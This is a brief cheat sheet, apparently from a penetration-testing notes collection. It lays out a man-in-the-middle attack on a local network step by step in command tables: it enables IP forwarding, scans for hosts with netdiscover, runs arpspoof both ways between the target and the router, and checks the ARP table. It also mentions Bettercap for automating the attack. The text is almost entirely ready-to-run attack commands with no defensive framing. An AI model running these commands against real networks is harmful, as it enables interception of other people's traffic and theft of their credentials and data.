Man in the Middle (MITM) Manual
Attack that intercepts network traffic between a target and the router by manually configuring ARP spoofing and IP forwarding.
Setup
| Command | Description |
|---|---|
| ip a | Displays the attacker's network interface and IP address to determine the local network range. |
| echo 1 > /proc/sys/net/ipv4/ip_forward | Enables IP forwarding so traffic passes through the attacker's machine. |
Scanning
| Command | Description |
|---|---|
| netdiscover -i eth0 -r [IP]/24 -c 10 | Scans the local network to discover active devices, including the router and target, along with their IP addresses. |
Execution
| Command | Description |
|---|---|
| arpspoof -i eth0 -t [target_IP] [router_IP] | Tells the target that the attacker's machine is the router. |
| arpspoof -i eth0 -t [router_IP] [target_IP] | Tells the router that the attacker's machine is the target. |
Verification
| Command | Description |
|---|---|
| arp -a | Checks the ARP table to verify that the spoofing attack is working. |
Automated Version Available
This same attack can also be performed faster and more efficiently using Bettercap's automated workflow.